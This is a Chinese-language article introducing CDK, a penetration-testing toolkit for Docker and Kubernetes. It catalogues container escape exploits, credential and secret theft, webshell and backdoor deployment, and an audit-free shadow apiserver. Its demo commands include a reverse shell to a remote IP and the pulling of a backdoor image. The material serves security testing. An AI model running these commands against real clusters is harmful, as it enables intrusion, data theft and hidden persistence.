CDK:一款針對容器場景的多功能滲透工具

作者: CDK-Team
項目地址:https://github.com/cdk-team/CDK/

CDK是一款爲容器環境定製的滲透測試工具,在已攻陷的容器內部提供零依賴的常用命令及PoC/EXP。集成Docker/K8s場景特有的 逃逸、橫向移動、持久化利用方式,插件化管理。

場景介紹

伴隨着容器技術的快速發展,容器安全問題也逐漸成爲企業所關注的話題。針對容器場景的滲透測試一方面要求攻擊者理解對Docker/K8s以及雲服務的原理、特性以及漏洞利用方式;另一方面,攻擊者通過業務漏洞(如WEB RCE)攻入容器後往往面對的是一個縮減後的容器環境,缺乏常用的linux命令依賴導致滲透效率不佳。

CDK爲安全測試人員提供了golang原生的容器環境滲透能力,主要有以下幾點:

  1. 評估容器內部弱點、蒐集敏感信息。
  2. 提供多種容器逃逸的漏洞利用方式。
  3. 提供K8s環境的多種持久化、橫向移動方式。
  4. 提供原生的進程、網絡命令,便於測試者自定義攻擊操作。

功能

CDK包括三個功能模塊

  1. Evaluate: 容器內部信息收集,以發現潛在的弱點便於後續利用。
  2. Exploit: 提供容器逃逸、持久化、橫向移動等利用方式。
  3. Tool: 修復滲透過程中常用的linux命令以及與Docker/K8s API交互的命令。

Evaluate 模塊

用於本地信息收集,尋找可用的逃逸點,使用 --full 參數時會包含本地文件掃描。

類別 檢測點 已支持 詳細文檔
本地信息收集 OS基本信息 link
本地信息收集 可用的Capabilities link
本地信息收集 可用的Linux命令 link
本地信息收集 掛載情況 link
本地信息收集 網絡namespace隔離情況 link
本地信息收集 環境變量 link
本地信息收集 敏感服務 link
本地信息收集 敏感目錄及文件 link
本地信息收集 kube-proxy邊界繞過(CVE-2020-8558) link
網絡探測 K8s Api-server信息 link
網絡探測 K8s Service-account信息 link
網絡探測 雲廠商Metadata API link

Exploit 模塊

執行指定的exp。

類別 功能 調用名 已支持 文檔
容器逃逸 docker-runc CVE-2019-5736 runc-pwn
容器逃逸 containerd-shim CVE-2020-15257 shim-pwn link
容器逃逸 docker.sock逃逸PoC(docker-in-docker) docker-sock-check link
容器逃逸 docker.sock部署惡意鏡像 docker-sock-deploy link
容器逃逸 掛載逃逸(特權容器) mount-disk link
容器逃逸 Cgroup逃逸(特權容器) mount-cgroup link
容器逃逸 Procfs目錄掛載逃逸 mount-procfs link
容器逃逸 Ptrace逃逸PoC check-ptrace link
容器逃逸 lxcfs cgroup錯誤配置逃逸 lxcfs-rw link
容器逃逸 重寫Cgroup以訪問設備 rewrite-cgroup-devices link
網絡探測 K8s組件探測 service-probe link
信息收集 檢查和獲取Istio元信息 istio-check link
遠程控制 反彈shell reverse-shell link
信息竊取 掃描AK及API認證憑據 ak-leakage link
信息竊取 竊取K8s Secrets k8s-secret-dump link
信息竊取 竊取K8s Config k8s-configmap-dump link
持久化 部署WebShell webshell-deploy link
持久化 部署後門Pod k8s-backdoor-daemonset link
持久化 部署影子K8s api-server k8s-shadow-apiserver link
持久化 K8s MITM攻擊(CVE-2020-8554) k8s-mitm-clusterip link
持久化 部署K8s CronJob k8s-cronjob link

Tool 模塊

還原部分常用的Linux命令,解決容器環境縮減的問題。

子命令 描述 已支持 文檔
nc TCP隧道 link
ps 獲取進程信息 link
ifconfig 獲取網絡信息 link
vi 文本編輯 link
kcurl 發包到K8s api-server link
dcurl 發包到Docker HTTP API
ucurl 發包到Docker Unix Socket link
rcurl 發包到Docker Registry API
probe IP/端口掃描 link
kproxy kubectl代理轉發

使用方法

下載可執行文件投遞到已攻入的容器內部開始測試:

命令行參數:

Container DucK
Zero-dependency docker/k8s penetration toolkit by <[email protected]>
Find tutorial, configuration and use-case in https://github.com/Xyntax/CDK/wiki

Usage:
  cdk evaluate [--full]
  cdk run (--list | <exploit> [<args>...])
  cdk <tool> [<args>...]

Evaluate:
  cdk evaluate                              Gather information to find weekness inside container.
  cdk evaluate --full                       Enable file scan during information gathering.

Exploit:
  cdk run --list                            List all available exploits.
  cdk run <exploit> [<args>...]             Run single exploit, docs in https://github.com/Xyntax/CDK/wiki

Tool:
  vi <file>                                 Edit files in container like "vi" command.
  ps                                        Show process information like "ps -ef" command.
  nc [options]                              Create TCP tunnel.
  ifconfig                                  Show network information.
  kcurl (get|post) <url> <data>             Make request to K8s api-server.
  ucurl (get|post) <socket> <uri> <data>    Make request to docker unix socket.
  probe <ip> <port> <parallel> <timeout-ms> TCP port scan, example: cdk probe 10.0.1.0-255 80,8080-9443 50 1000

Options:
  -h --help     Show this help msg.
  -v --version  Show version.

工具演示

評估容器弱點

cdk evaluate --full

png

containerd-shim(CVE-2020-15257)漏洞逃逸

通過共享的net namespace向宿主機的containerd-shim進程發起請求,利用其特性反彈宿主機的shell到遠端服務器。

./cdk run shim-pwn 47.104.151.168 111

docker.sock漏洞逃逸

通過本地docker.sock向控制宿主機的docker進程,拉取指定的後門鏡像並運行,運行過程中鏡像將宿主機的根目錄/掛載到容器內部的/host目錄下,便於通過後門容器修改宿主機本地文件(如crontab)來完成逃逸。

# deploy image from dockerhub
./cdk run docker-sock-deploy /var/run/docker.sock alpine:latest

# deploy image from user image registry
./cdk run docker-sock-deploy registry.cn-shanghai.aliyuncs.com/sandboxed-container/cve-2019-5736:change_root_pwd

g

部署K8s shadow apiserver

向K8s集羣中部署一個shadow apiserver,該apiserver具有和集羣中現存的apiserver一致的功能,同時開啓了全部K8s管理權限,接受匿名請求且不保存審計日誌。便於攻擊者無痕跡的管理整個集羣以及下發後續滲透行動。

./cdk run k8s-shadow-apiserver default

png

項目地址


Paper 本文由 Seebug Paper 發佈,如需轉載請註明來源。本文地址:https://paper.seebug.org/1474/

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章